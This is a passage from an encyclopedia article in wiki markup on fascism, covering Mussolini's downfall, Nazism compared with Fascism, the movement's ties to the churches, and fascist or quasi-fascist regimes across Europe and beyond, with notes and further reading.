Mussolini was dismissed as prime minister by Victor Emmanuel III on [[July 25]]th 1943, and subsequently arrested. He was freed in September by German paratroopers under command of [[Otto Skorzeny]] and installed as head of a puppet &quot;[[Italian Social Republic]]&quot; at [[Salo]] in German-occupied northern Italy. His association with the German occupation regime eroded much of what little support remained to him. His summary execution on [[April 28]]th [[1945]] during the war's violent closing stages by the [[Italian resistance movement|northern partisans]] was widely seen as a fitting end to his regime. 

After the war, the remnants of Italian fascism largely regrouped under the banner of the neo-Fascist &quot;[[Italian Social Movement]]&quot; (MSI). The MSI merged in 1994 with conservative former [[Democrazia Cristiana|Christian Democrats]] to form the [[Alleanza Nazionale|&quot;National Alliance&quot; (AN)]], which proclaims its commitment to [[constitutionalism]], [[Parliamentarism|parliamentary government]] and political pluralism.

===Mussolini's influences===
Fascism did not spring forth full-grown, and the writings of Fascist theoreticians cannot be taken as a full description of Mussolini's ideology, let alone how specific situations inevitably resulted in deviations from ideology. Mussolini's policies drew on both the history of the Italian nation and the philosophical ideas of the 19th century. What resulted was neither logical nor well defined, to the extent that Mussolini defined it as &quot;action and mood, not doctrine&quot;.

Nonetheless, certain ideas are clearly visible. The most obvious is nationalism. The last time Italy had been a great nation was under the banner of the [[Roman Empire]] and Italian nationalists always saw this as a period of glory. Given that even other European nations with imperial ambitions had often invoked ancient Rome in their foreign policy, architecture and vocabulary, it was perhaps inevitable that Mussolini would do the same. This included creating a new Roman empire, demolishing medieval Rome to create grand vistas of ancient monuments (eg connecting [[Piazza Venezia]] and the [[Colosseum]] with the [[Via dei Fori Imperiali]]), co-opting original sites (eg the [[Ara Pacis]]) and using ancient Roman architectural styles, with or without a modern twist (eg the [[Museum of Roman Civilization]] at the [[Esposizione Universale Roma|EUR]]).

Following the [[fall of the Western Roman Empire]], Italy had not again been united until its final [[Italian unification|unification]] in 1870. Mussolini desired to affirm an Italian national identity and therefore saw the unification as the first step towards returning Italy to greatness and often exploited the unification and the achievements of leading figures such as [[Garibaldi]] to induce a sense of Italian national pride.

The Fascist cult of national rebirth through a strong leader has roots in the [[Romanticism|romantic movement]] of the 19th century, as does the glorification of war. For example, the loss of the war with [[Abyssinia]] had been a great humiliation to Italians and consequently it was the first place targeted for Italian expansion under Mussolini.

Not all ideas of fascism originated from the 19th century. For example, the use of systematic [[propaganda]] to pass on simple slogans such as &quot;believe, obey, fight&quot; and Mussolini's use of the [[radio]] both were techniques developed in the 20th century under the influence of the artistic and literary movement called [[futurism]]. Futurism was an early twentieth century intellectual movement in Italy which forcefully emphasized three main ideas: ''technology'', ''speed'', and ''violence''.   Similarly, Mussolini's corporate state was a distinctly 20th-century creation.

==Nazism and Fascism==
{{main|Nazism}}
[[Image:Hitlermusso.jpg|thumb|[[Benito Mussolini]] giving the [[Roman salute]] standing next to [[Adolf Hitler]]]]

The extent and nature of the affinity between Fascism and Nazism has been the subject of much
academic debate. Although the modern consensus sees Nazism as a type or offshoot of fascism, there are some experts who still argue that Nazism is ''not'' fascism, either on the grounds that the differences are too great, or because they disagree that fascism can be generic. 

===Differences===
Nazism differed from Fascism proper in the emphasis on the state's purpose in serving its national ideal on the basis of a national race, specifically the [[social engineering (political science)|social engineering]] of [[culture]] to the ends of the greatest possible prosperity for German race at the expense of all else and all others. In contrast, Mussolini's Fascism held that cultural factors existed to serve the state, and that it wasn't necessarily in the state's interest to serve or engineer any of these particulars within its sphere. The only [[purpose of government]] under Fascism was to uphold the state as supreme above all else, and for these reasons it can be said to have been a governmental [[statolatry]]. Where Nazism spoke of &quot;Volk&quot;, Fascism talked of &quot;State&quot;. 

While Nazism was a [[Metapolitics|metapolitical]] ideology, seeing both party and government as a means to achieve an ideal condition for certain chosen people, fascism was a squarely anti-socialist form of [[statism]] that existed as an end in and of itself. The Nazi movement, at least in its overt ideology, spoke of class-based society as the enemy, and wanted to unify the racial element above established classes. The Fascist movement, on the other hand, sought to preserve the class system and uphold it as the foundation of established and desirable culture, although this is not to say that Fascists rejected the concept of [[social mobility]]. Indeed a central tenet of the Corporate State was [[meritocracy]]. This underlying theorem made the Fascists and National Socialists in the period between the two world wars sometimes see themselves and their respective political labels as at best partially exclusive of one another, and at worst diametrically opposed to one another. This seemed to be especially the case in 1934 when [[Engelbert Dollfuss]] the [[Austrofascism|Austrofascist]] leader of [[Austria]] was assassinated by Nazi [[Brown shirts]], on Hitler's orders in preparation for a planned [[Anschluss]], which prompted Mussolini to move troops to the Austrian-Italian border in readiness for war with Hitler.

===Similarities===
Nevertheless, despite these differences, [http://www.cf.ac.uk/hisar/people/kp/]Kevin Passmore (2002 p.62) observes:

&lt;blockquote&gt;There are sufficient similarities between Fascism and Nazism to make it worthwhile applying the concept of fascism to both. In Italy and Germany a movement came to power that sought to create national unity through the repression of national enemies and the incorporation of all classes and both genders into a permanently mobilized nation.&lt;/blockquote&gt;

Hitler and Mussolini themselves recognised commonalities in their politics. The second part of Hitler's ''Mein Kampf'', &quot;The National Socialistic Movement&quot;, first published in 1926, contains this passage:

&lt;blockquote&gt;I conceived the profoundest admiration for the great man south of the Alps, who, full of ardent love for his people, made no pacts with the enemies of Italy, but strove for their annihilation by all ways and means. What will rank Mussolini among the great men of this earth is his determination not to share Italy with the Marxists, but to destroy internationalism and save the fatherland from it. (p. 622)&lt;/blockquote&gt;

==Anti-Communism==
{{main|Anti-Communism}}
Fascism and Communism are political systems that rose to prominence after World War I. Historians of the period between World War I and World War II such as [[E.H. Carr]] and [[Eric Hobsbawm]] point out that liberalism was under serious stress in this period and seemed to be a doomed philosophy. The success of the [[Russian Revolution of 1917]] resulted in a revolutionary wave across Europe. The socialist movement worldwide split into separate [[social democratic]] and [[Leninist]] wings. The subsequent formation of the [[Third International]] prompted serious debates within social democratic parties, resulting in supporters of the Russian Revolution splitting to form [[Communist Parties]] in most industrialized (and many non-industrialized) countries. 

At the end of World War I, there were attempted socialist uprisings or threats of socialist uprisings throughout Europe, most notably in Germany, where the [[Spartacist uprising]], led by [[Rosa Luxemburg]] and [[Karl Liebknecht]] in January 1919, was eventually crushed. In Bavaria, Communists successfully overthrew the government and established the [[Munich Soviet Republic]] that lasted from 1918 to 1919. A short lived [[Hungarian Soviet Republic]] was also established under [[Béla Kun]] in 1919. 

The Russian Revolution also inspired attempted revolutionary movements in Italy with a wave of factory occupations. Most historians view fascism as a response to these developments, as a movement that both tried to appeal to the working class and divert them from Marxism. It also appealed to capitalists as a bulwark against [[Bolshevism]]. Italian Fascism took power with the blessing of Italy's king after years of leftist-led unrest led many conservatives to fear that a communist revolution was inevitable.

Throughout Europe, numerous [[aristocracy|aristocrats]], [[conservative]] intellectuals, capitalists and industrialists lent their support to fascist movements in their countries that emulated Italian Fascism. In Germany, numerous right-wing nationalist groups arose, particularly out of the post-war [[Freikorps]], which were used to crush both the Spartacist uprising and the Munich Soviet. 

With the worldwide [[Great Depression]] of the 1930s, it seemed that liberalism and the liberal form of capitalism were doomed, and Communist and fascist movements swelled. These movements were bitterly opposed to each other and fought frequently, the most notable example of this conflict being the [[Spanish Civil War]]. This war became a [[proxy war]] between the fascist countries and their international supporters &amp;mdash; who backed [[Francisco Franco]] &amp;mdash; and the worldwide Communist movement allied uneasily with [[anarchists]] and [[Trotskyists]] &amp;mdash; who backed the [[Popular Front]] &amp;mdash; and were aided chiefly by the Soviet Union.

Initially, the Soviet Union supported a coalition with the western powers against Nazi Germany and popular fronts in various countries against domestic fascism. This policy was largely unsuccessful due to the distrust shown by the western powers (especially Britain) towards the Soviet Union. The [[Munich Agreement]] between Germany, [[France]] and Britain heightened Soviet fears that the western powers were endeavoring to force them to bear the brunt of a war against Nazism. The lack of eagerness on the part of the British during diplomatic negotiations with the Soviets served to make the situation even worse. The Soviets changed their policy and negotiated a [[non-aggression pact]] known as the [[Molotov-Ribbentrop Pact]] in 1939. [[Vyacheslav Molotov]] claims in his memoirs that the Soviets believed this was necessary to buy them time to prepare for an expected war with Germany. Stalin expected the Germans not to attack until 1942, but the pact ended in 1941 when [[Nazi]] Germany invaded the Soviet Union in [[Operation Barbarossa]]. Fascism and communism reverted to being lethal enemies. The war, in the eyes of both sides, was a war between ideologies.

==Fascism and religion==
{{main|Clerical fascism}}
Some expressions of fascism have been closely linked with religious political movements. This combination is referred to as '''[[Clerical fascism]]''', a prime example of which is the [[Ustashe]] in [[Croatia]].

===Fascism and the Catholic Church===
&lt;!-- section needs verification --&gt;
A controversial topic is the relationship between fascist movements and the Roman Catholic Church. As mentioned above, [[Pope Leo XIII]]'s [[1891]] [[encyclical]], ''[[Rerum Novarum]]'' included doctrines that fascists used or admired. Forty years later, the corporatist tendencies of ''Rerum Novarum'' were underscored by Pope Pius XI's [[May 25]], [[1931]] encyclical ''[[Quadragesimo Anno]]''{{ref|Quadragesimo}} restated the hostility of ''Rerum Novarum'' to both unbridled competition and [[class struggle]]. The criticism of both socialism and capitalism in these encyclicals was not fascist ''per se'', but by weakening support for either alternative such writings arguably opened the door to fascism. 

In the early 1920s, the Catholic party in Italy (''Partito Popolare'') was in the process of forming a coalition with the Reform Party that could have stabilized Italian politics and thwarted Mussolini's projected coup. On [[October 2]], [[1922]], [[Pope Pius XI]] circulated a letter ordering clergy not to identify themselves with the ''Partito Popolare'', but to remain neutral, an act that undercut the party and its alliance against Mussolini. Following Mussolini's rise to power, the Vatican's [[Secretary of State]] met ''Il Duce'' in early 1923 and agreed to dissolve the ''Partito Popolare'', which Mussolini saw as an obstacle to fascist rule. In exchange, the fascists made guarantees regarding Catholic education and institutions. 

In 1924, following the murder of the leader of the Socialist Party by fascists, the ''Partito Popolare'' joined with the Socialist Party in demanding that the King dismiss Mussolini as Prime Minister, and stated their willingness to form a coalition government. Pius XI responded by warning against any coalition between Catholics and socialists. The Vatican ordered all priests to resign from the ''Partito Popolare'' and from any positions they held in it. This led to the party's disintegration in rural areas where it relied on clerical assistance.

The Vatican subsequently established [[Catholic Action]] as a non-political lay organization under the direct control of bishops. The organization was forbidden by the Vatican to participate in politics, and thus was not permitted to oppose the fascist regime. Pius XI ordered all Catholics to join Catholic Action. This resulted in hundreds of thousands of Catholics withdrawing from the ''Partito Popolare'', and joining the apolitical Catholic Action. This caused the Catholic Party's final collapse.{{ref|Cephas}}

When Mussolini ordered the closure of Catholic Action in May 1931, Pius XI issued an encyclical, ''[[Wikisource:Non Abbiamo Bisogno|Non Abbiamo Bisogno]]''. This document stated the Catholic Church's opposition to the dissolution, and argued that the order &quot;unmasked the pagan intentions of the Fascist state&quot;. Under international pressure, Mussolini decided to compromise, and Catholic Action was saved. For Catholics, the encyclical's disapproval of any system that puts the nation above God or humanity remains doctrine. 

Aside from certain ideological similarities, the relationship between the Church and fascist movements in various countries has often been close. An early example is [[Austria]] which developed a quasi-fascist authoritarian Catholic regime some call the &quot;[[Austrofascism|Austro-fascist]]&quot; ''[[Ständestaat]]'' between 1934 and 1938. There is little debate over [[Slovakia]], where the fascist dictator was a Catholic [[monsignor]]; and the [[Independent State of Croatia]], where the fascist [[Ustashe]] identified itself as a Catholic movement. The [[Iron Guard]] in [[Romania]] identified itself as an Eastern Orthodox movement (with no connection to Roman Catholicism), and had particularly strong leanings toward [[clerical fascism]]. (''See also [[Involvement of Croatian Catholic clergy with the Ustaša regime]].'')

The [[Vichy France|Vichy]] regime in France was also deeply influenced by the reactionary Catholic-influenced ideology of the ''[[Action Française]]''. This group had actually been led by an agnostic and condemned by the Catholic Church in 1926. Many of its members were reactionary Catholics so this condemnation damaged the group, but then in 1938 the condemnation was lifted. Conversely, many Catholic priests were persecuted under the Nazi regime, and many Catholic laypeople and clergy played notable roles in sheltering [[Jew]]s during [[the Holocaust]].

===Fascism and the Protestant churches===
&lt;!-- this section needs verification --&gt;
Protestantism in Italy and Spain was not as significant as Catholicism. The connection between the German form of Fascism, Nazism, and Protestantism has long been debated, with some saying that the Protestant denominations, especially the German Lutheran Church, was close. According to some scholars, especially Richard Steigman-Gall (''The Holy Reich: Protestantism and the Nazi
Movement, 1920-1945'') the relationship was collaborationist. Hitler, in his manifesto, ''Mein Kampf'', listed [[Martin Luther]] as one of Germany's great historic reformers. In Luther's 1543 book ''On the Jews and Their Lies'', Luther advocated the burning of [[synagogue]]s and schools, the [[deportation]] of Jews, and many other measures that resemble the actions later taken by the Nazis.

The overwhelming majority of Protestant church leaders in Germany made no comment on the Nazis' growing anti-Jewish activities. Many Protestants opposed the governments of the [[Weimar Republic]] in the 1920s which they saw as coalitions between the Socialists and the Catholic Centre party. In 1932, many German Protestants joined together to form the [[German Christians|German Christian Movement]] which enthusiastically supported Nazi propaganda, and sought to join Church and State. 3,000 of the 17,000 Protestant pastors in Germany were to join the movement. Hitler wished to unite a Protestant church of 28 different federations into one nationalist body. Pastor [[Ludwig Müller]], the leader of the German Christian Movement, was soon appointed Hitler's advisor on religious affairs. He was elected Reich's Bishop in charge of the German Protestant churches in 1933. 

An &quot;Aryan Paragraph&quot; was introduced to the constitution which stated that no one of non-Aryan background, or married to anyone of non-Aryan background, could serve as either a pastor or church official. Pastors and officials who had married a non-Aryan were to be dismissed. Much of the [[Lutheran]] and [[Methodist]] establishment in Germany had fallen behind Hitler in his promise to oppose [[Bolshevism]] and instability.

The new measures began to raise some opposition to the German Christians from a minority of Lutherans and Evangelicals who had become increasingly disillusioned with unethical practices of the Nazis and disliked state interference in church affairs. [[Dietrich Bonhoffer]], a Lutheran pastor (though arguably of a liberal theological persuasion), was vocal in his opposition of the Nazis. Though there is some debate as to his actual involvement in planning the assassination attempt of Hitler, he was found guilty and executed for his alleged part in the conspiracy. A small group of Protestant clergy under [[Martin Niemoeller]] and Dietrich Bonhoffer separated from the main churches to form the [[Confessing Church]]. The group had limited effect, however, as it was forced to meet secretly and was dispersed by the Nazis by 1939, and the effect of Protestantism on inhibiting Nazism in Germany was limited at best.

==Fascism as an international phenomenon==
It is often a matter of dispute whether a certain government is to be characterized as fascist, authoritarian, totalitarian, or a police state. Regimes that are alleged to have been either fascist or sympathetic to fascism include:

[[Austria]] ([[1933]]-[[1938]]) - [[Austro-fascism]]: Dollfuß dissolved parliament and established a clerical-fascist dictatorship which lasted until Austria was incorporated into Germany through the ''[[Anschluss]]''. Dollfuß's idea of a &quot;Ständestaat&quot; was borrowed from Mussolini.

[[Italy]] ([[1922]]-[[1943]]) - The first fascist country, it was ruled by Benito Mussolini (''Il Duce'') until he was dismissed and arrested on the [[25 July]] [[1943]]. Mussolini was then rescued from prison by German troops, and set up a short lived puppet state named &quot;Repubblica di Salò&quot; in northern Italy under the protection of the German army.

[[Germany]] ([[1933]]-[[1945]]) - Ruled by the Nazi movement of [[Adolf Hitler]] ''(der Führer)''. In the terminology of the Allies, Nazi Germany was as their chief enemy the mightiest and best-known fascist [[state]]. See above for a discussion on the differences and similarities between Nazism and fascism.

[[Japan]] ([[1931]]-[[1945]]) - Right-wing elements in Japan, 
including industrialists, military officers, and the nobility,
had long opposed democracy as anathema to national unity. Military cliques begun to dominate the national government starting in the 1930s. In [[1936]], Japan and Germany signed the [[Anti-Comintern Pact]], aimed at countering the [[Soviet Union]] and [[Communist International]]. In [[1940]], Prime Minister [[Fumimaro Konoye]] established the [[Imperial Rule Assistance Association]], or Taisei Yokusankai, to consolidate all political parties under a single umbrella group. That same year, Japan joined Germany and Italy in the [[Tripartite Pact]].

[[Spain]] ([[1936]]-[[1975]]) - After the 1936 arrest and execution of its founder [[José Antonio Primo de Rivera]] during the Spanish Civil War, the fascist [[Falange]] Española Party was allied to and ultimately came to be dominated by Generalísimo [[Francisco Franco]], who became known as ''El Caudillo'', the undisputed leader of the Nationalist side in the war, and, after victory, head of state until his death over 35 years later. However, it was best described as an autocracy based on the Falangist fascist principles in its early years. By the mid-50s, the [[Spanish Miracle]] and the rise of the [[Opus Dei]] in the Franco regime led to Falangist fascism being discarded and fascists minimized in importance.

[[Portugal]] ([[1932]]-[[1974]]) - Although less restrictive than the Italian, German and Spanish regimes, the [[Estado Novo (Portugal)|Estado Novo]] regime of [[António de Oliveira Salazar]] was quasi-fascist. However, it was closer to the Spanish example of paternal authoritarianism than the Italian fascist or German Nazi model.

[[Greece]] - [[Joannis Metaxas]]' [[1936]] to [[1941]] dictatorship was not particularly ideological in nature, and might hence be characterized as authoritarian rather than fascist. The same can be argued regarding Colonel [[George Papadopoulos]]' [[1967]] to 1974 military dictatorship, which was supported by the United States. 

[[Brazil]] ([[1937]]-[[1945]]) - Many historians have argued that Brazil's [[Estado Novo (Brazil)|Estado Novo]] under [[Getúlio Vargas]] was a Brazilian variant of the continental fascist regimes. For a period of time, Vargas' regime was aligned with [[Plínio Salgado]]'s [[Integralist Party]], Brazil's fascist movement. However, it also showed great affinity with organized labour and leftist ideas, leaving its classification open to interpretation.

[[Belgium]] ([[1940]]-[[1945]]) - The violent [[Rexism|Rexist]] movement and the [[Vlaamsch-Nationaal Verbond]] party achieved some electoral success in the 1930s. Many of its members assisted the Nazi occupation during World War II. The [[Verdinaso]] movement, too, can be considered fascist. Its leader, [[Joris Van Severen]], was killed before the Nazi occupation. Some of its adepts collaborated, but others joined the [[Resistance movement|resistance]]. These collaborationist movements are generally classified as belonging to the National Socialist model or the German fascist model because of its brand of racial nationalism and the close relation with the occupational authorities.

[[Slovakia]] ([[1939]]-[[1944]]) - The [[Slovak People's Party]] was a quasi-fascist nationalist movement associated with the Roman Catholic Church. Founded by Father [[Andrej Hlinka]], his successor Monsignor [[Jozef Tiso]] became the Nazis' [[Vidkun Quisling|quisling]] in a nominally independent Slovakia. The clerical element lends comparison with Austrofascism or the clerical fascism of Croatia, though not to the excesses of either model. The market system was run on principles agreeing with the standard Italian fascist model of industrial regulation. 

[[France]] ([[1940]]-[[1944]]) - The Vichy regime of [[Philippe Pétain]], established following France's defeat by Germany, collaborated with the Nazis. However, the minimal importance of fascists in the government until its direct occupation by Germany makes it appear to seem more similar to the regime of Franco or Salazar than the model fascist powers. While it has been argued that anti-Semitic massacres performed by the Vichy regime were more in the interests of pleasing Germany than in service of ideology, anti-semitism was strong in France before World War II.

As early as October 1940 the Vichy regime introduced the infamous ''statut des Juifs'', that produced a new legal definition of Jewishness and which barred Jews from certain public offices. Worse still, in May 1941 the Parisian police force had collaborated in the internment of foreign Jews. As a means of identifying Jews, the German authorities required all Jews in the occupied zone to wear the Star of David on their clothing. On the [[11 June]], they demanded that 100, 000 Jews be handed over for deportation. 

The most infamous of these mass arrests was the so-called grande rafle du Vél' d'Hiv' which took place in Paris on the 16th and [[17 July]] [[1942]]. The Vélodrome d'Hiver was a large indoor sports arena situated on the rue Nélaton near the Quai de Grenelle in the 15th arrondissment of Paris. In a vast operation codenamed vent printanier, the French police rounded up 12,884 Jews from Paris and its surrounding suburbs. These were mostly adult men and women but there were around 4,000 children amongst them. The rounding up was made easier by the large number of files on Jews complied and held by Vichy authorities since 1940. The French police, headed by René Bousquet, were entirely responsible for this operation and not one German soldier assisted. 

[[Romania]] ([[1940]]-[[1944]]) - The [[Iron Guard]], turned more and more into a pro-Nazi and pro-German movement, and took power in September 1940 when [[Ion Antonescu]] forced King [[Carol II of Romania|Carol II]] to abdicate. However, the cohabitation between the Iron Guard and [[Ion Antonescu]] was short-lived.

The Antonescu regime that followed hardly qualifies as fascist, as it did not have a clear political program or party. It was rather a [[military dictatorship]]. The regime was characterized by nationalism, anti-semitism, and anti-communism, but had no social program. Despite the [[Iaşi pogrom]] and a near-liquidation of the Jews of many parts of [[Moldavia]], the regime ultimately refused to send the Romanian Jews to German death camps. The regime was overturned on [[23 August]] [[1944]] by a coup lead by the king [[Mihai of Romania]].

[[Independent State of Croatia]] ([[1941]]-[[1945]]) - ''Poglavnik'' [[Ante Pavelic|Ante Pavelić]], leader of the infamous [[Ustase|Ustaše]] movement, came to power in 1941 as the Croatian puppet leader under the control of Nazi Germany. Under the indirect control of Germany, the Ustaše regime was based heavily upon both upon clerical fascism and the Italian model of fascism, with elements of racial integrity and organic nationalism drawn from Nazism.

[[Norway]] ([[1943]]-[[1945]]) - [[Vidkun Quisling]] had staged a ''[[coup d'état]]'' during the German invasion on [[April 9]]th, 1940. This first government was replaced by a Nazi puppet government under his leadership from [[February 1]]st, 1943. His party had never had any substantial support in Norway, undermining his attempts to emulate the Italian fascist state. 

[[Hungary]] ([[1932]]-[[1945]]) - By 1932, support for right-wing ideology, embodied by [[Gyula Gömbös]], had reached the point where Hungarian Regent [[Miklós Horthy]] could not postpone appointing a fascist prime minister. Horthy also showed signs of admiring the efficiency and conservative leanings of the Italian fascist state under Mussolini and was not too reluctant to appoint a fascist government (with terms for the extent of Horthy's power). Horthy would keep control over the mainstream fascist movement in Hungary until near the end of the Second World War. Starting in 1938, several racial laws were passed by the regime, but the extremist [[Arrow Cross]] party, led by [[Ferenc Szálasi]], was banned until German pressure lifted the law, and until Germany occupied Hungary within Operation Margareta on [[March 19]], 1944, no Jews were in direct danger of being annihilated. In July 1944, armour-colonel Ferenc Koszorús and the First Armour Division, under Horthy's orders, resisted the Arrow Cross militia and prevented the deportation of the Jews of Budapest, thus saved over 200,000 lives. This act impressed upon the German occupying forces, including [[Adolf Eichmann]], that as long as Hungary continued to be governed by Horthy, no real ''Endlösung'' could begin. Following Horthy's attempt to have Hungary change sides on [[October 13]], Szálasi, with German military support, replaced Admiral Horthy as Head of State. The regime changed to a system more in line with Nazism and would remain this way until the capture of Budapest by Soviet troops. Over 400,000 Jews were sent by Hungary to German death camps from 1944 to 1945. 

Prior to World War II, fascist or quasi-fascist movements also appeared in democratic nations, often taking their inspiration from the regimes established by Mussolini and Hitler. 

[[Ireland]] ([[1932]]-[[1933]]) -  Fascist sympathizers led by Thomas O’Higgins and General Eoin O’Duffy established the [[Army Comrades Association]], or “Blueshirts”, in 1932, as a veterans organization. Renamed the National Guard, it eventually became the paramilitary wing of the United Ireland  Party.  The Blueshirts wanted to establish a corporate state in Ireland, and frequently clashed with Republican supporters of  the ruling [[Fianna Fail]]. O’Duffy  planned a March on Dublin in 1933, and the government, fearing a coup, banned the organization. A few Blueshirts remained under O’Duffy’s leadership and later joined the Italian and German foreign contingents in Franco’s uprising in Spain.

[[United Kingdom]] ([[1932]]-[[1940]]) -  [[Sir Oswald Mosley]], an admirer of Mussolini, established the [[British Union of Fascists]] in 1932 as a nationalist alternative to the three mainstream political parties in Britain. Though the BUF achieved only limited success in some local elections, its paramilitary blackshirts engaged in street brawling and violence against Jewish citizens, trade unionists, and Communists. Alarmed at the organization’s violence, the government banned the blackshirts in 1936. Sympathy for the organization evaporated rapidly as war with the Axis approached. The BUF was banned in 1940 and Mosely was jailed for the duration of the war.

In the [[United States]], monied-interests attempted to organize a coup to overthrow the federal government headed by FDR to make way for a fascist government in 1933. ([[Business Plot]]). The [[Ku Klux Klan]] achieved widespread political power in several states before collapsing due to internal disputes and corruption charges against many of its leaders.

==Fascism and Sexuality==
There has also been a revival of interest in recent times, among many academic historians, with regard to the profound ''cult of masculinity'' that permeated fascism, the attempts to systematically control female sexuality and reproductive behavior for the ends of the State.

According to Anson Rabinbach and Jessica Benjamin, &quot;The crucial element of fascism is its explicit sexual language, what Theweleit calls 'the conscious coding' or the 'over-explicitness of the fascist language of symbol.' This fascist symbolization creates a particular kind of psychic economy which places sexuality in the service of destruction. Despite its sexually charged politics, fascism is an anti-eros, 'the core of all fascist propaganda is a battle against everything that constitutes enjoyment and pleasure'… He shows that in this world of war the repudiation of one's own body, of femininity, becomes a psychic compulsion which associates masculinity with hardness, destruction, and self-denial.&quot; {{ref|Rabinbach-Benjamin}}

==Neo-Fascism==
{{main|Neo-fascism}}

Contemporary, meaning after World War II, fascist movements and allegations of neofascism are covered in a number of other articles:

*See: [[Neo-Fascism]]; [[Neo-Nazism]]; [[Neofascism and religion]]; [[Fascism and ideology]];[[Christian Identity]]; [[Creativity Movement]]; [[Ku Klux Klan]] ; [[National Alliance]]; [[Nouvelle Droite]]; [[American Nazi Party]]; [[Alain de Benoist]]; [[William Luther Pierce]]; [[George Lincoln Rockwell]]; [[Producerism]].

==Fascist mottos and sayings==
* ''Me ne frego'', literally &quot;I rub myself about it,&quot; closer, in meaning, to &quot;I don't give a damn&quot;: the Italian Fascist [[motto]].
* ''Libro e moschetto - fascista perfetto'', &quot;The book and the musket - make the perfect Fascist.&quot;
* ''Viva la Morte'', &quot;Long live death (sacrifice).&quot;
* The above mentioned ''Tutto nello Stato, niente al di fuori dello Stato, nulla contro lo Stato'', &quot;Everything in the State, nothing outside the State, nothing against the State.&quot;
* ''Credere, Obbedire, Combattere'' (&quot;Believe, Obey, Fight&quot;)

==See also==
* [[George Seldes]], early reporter of US fascism. 
* [[Horst Wessel Lied]], a German song that encapsulates much of Fascist ideology.
* [[Japanese nationalism]], Japanese Radical Right-Nationalist Local Ideology from the [[World War II]] times to the present day.
* [[The Great Scandal]]
* [[Economic fascism]]
* [[Green-Fascism]]
* [[Grand Council of Fascism]]

==Notes==
#{{note|PSDF-Mus}} {{cite book | first=Benito | last=Mussolini | year=1933 | title=The Political and Social Doctrine of Fascism | publisher=Hogarth Press}} 
#{{note|MW}} {{cite web | title=Fascism | work=Merrian-Webster Online Dictionary | url=http://www.m-w.com/dictionary/fascism | accessdate=November 17 | accessyear=2005}}
#{{note|AHD}} {{cite book | author=AHD Editorial Board | title=American Heritage Dictionary | publisher=Houghton Mifflin | year=1983}}
#{{note|Payne}} {{cite book | author=Payne, Stanley | title=Fascism: Comparison and Definition | publisher=University of Wisconsin Press | year=1980 | pages = 7}}
#{{note|Eco}} {{cite journal | author=Umberto Eco | title=Eternal Fascism Fourteen Ways of Looking at a Blackshirt | journal=New York Review of Books | year=1995 | issue=June 22 | pages= 12–15 | url=http://www.themodernword.com/eco/eco_blackshirt.html }}
#{{note|Griffin}} {{cite book | first=Roger | last=Griffin | year=1995 | title=Fascism | publisher=Oxford University Press | url=http://www.brookes.ac.uk/schools/humanities/staff/FAECRG2.htm}} 
#{{note|Arendt}} {{cite book | first=Hannah | last=Arendt | year=1973 | title=The Origins of Totalitarianism | publisher=Harvest Books | id=ISBN 0156701537 | authorlink=Hannah Arendt }}
#{{note|Watkins}} {{cite web | title=The Economic System of Corporatism  | work=Applet-magic.com  | url=http://www2.sjsu.edu/faculty/watkins/corporatism.htm | accessdate=November 17 | accessyear=2005}}
#{{note|Gentile}} 1932 ''Enciclopedia Italiana''
#{{note|Gentile}} 1932 ''Enciclopedia Italiana''
#{{note|Mussolini}} Benito Mussolini, 1935, &quot;The Doctrine of Fascism,&quot; Firenze: Vallecchi Editore.
#{{note|Rerum}} {{cite web | title=Rerum Novarum | work=papalencyclicals.net | url=http://www.papalencyclicals.net/Leo13/l13rerum.htm | accessdate=November 17 | accessyear=2005}}
#{{note|Corner}} {{cite web | title=Fascist Italy | work=The Corner | url=http://www.thecorner.org/hists/total/f-italy.htm | accessdate=November 17 | accessyear=2005}} &lt;!-- surely we can get a better reference than this --&gt;
#{{note|Quadragesimo}} {{cite web | title=Rerum Novarum | work=papalencyclicals.net | url=http://www.papalencyclicals.net/Pius11/P11QUADR.HTM | accessdate=November 17 | accessyear=2005}}
#{{note|Cephas}} {{cite web | title=Italy, the Vatican and Fascism | work=The Vatican in World Politics | url=http://www.cephas-library.com/catholic/catholic_vatican_in_world_politics_chpt_9.html | accessdate=November 17 | accessyear=2005}}
# {{note|Rabinbach-Benjamin}} Anson Rabinbach and Jessica Benjamin in the foreword to Vol II. Klaus Theweleit, Male Fantasies. ppg. xii-xiii. University   of Minnesota Press. ISBN: 0816614512.
#{{note|Candeloro}} {{cite book | author=Giorgio Candeloro | title=Storia dell'Italia Moderna | publisher=Feltrinelli | year=1981}}
#{{note|Del}} {{cite book | author=Angelo Del Bocca and Giorgio Rohat | title=I gas di Mussolini | publisher=Editori Riuniti | id = ISBN=8835940915 | year=1996}}
==References==
* [[Adolf Hitler|Hitler, Adolf]]. ''[[Mein Kampf]]'' (1992). London: Pimlico. ISBN 071265254X
*&quot;Labor Charter&quot; (1927-1934)
* [[Benito Mussolini|Mussolini, Benito]]. ''[[Doctrine of Fascism]]'' which was published as part of the entry for ''fascismo'' in the ''Enciclopedia Italiana'' 1932.
* [[Georges Sorel|Sorel, Georges]]. ''Reflections on Violence''.

==Further reading==
===General===
* [[Renzo De Felice|De Felice, Renzo]] ''Interpretations of Fascism'', translated by Brenda Huff Everett, Cambridge ; London : Harvard University Press, 1977 ISBN 0674459628. 
*Eatwell, Roger. 1996. ''Fascism: A History.'' New York: Allen Lane. 
*Hughes, H. Stuart. 1953. ''The United States and Italy.'' Cambridge, MA: Harvard University Press.
*Mises, Ludwig von. 1944. [http://www.mises.org/etexts/mises/og.asp ''Omnipotent Government: The Rise of the Total State and Total War'']. Grove City: Libertarian Press.
*Paxton, Robert O. 2004. ''The Anatomy of Fascism''. New York: Alfred A. Knopf, ISBN 1400040949
*Payne, Stanley G. 1995. ''A History of Fascism, 1914-45''. Madison, Wisc.: University of Wisconsin Press ISBN 0299148742
*Reich, Wilhelm. 1970. ''The Mass Psychology of Fascism''. New York: Farrar, Straus &amp; Giroux.
*Seldes, George. 1935. ''Sawdust Caesar: The Untold History of Mussolini and Fascism''. New York and London: Harper and Brothers.
* [[Alfred Sohn-Rethel]] ''Economy and Class Structure of German Fascism'',London, CSE Bks, 1978 ISBN  0906336007

===Fascist ideology===
* [[Renzo De Felice|De Felice, Renzo]] ''Fascism : an informal introduction to its theory and practice, an interview with [[Michael Ledeen]]'', New Brunswick, N.J. : Transaction Books, 1976 ISBN 0878551905.
*Fritzsche, Peter. 1990. ''Rehearsals for Fascism: Populism and Political Mobilization in Weimar Germany''. New York: Oxford University Press. ISBN 0195057805
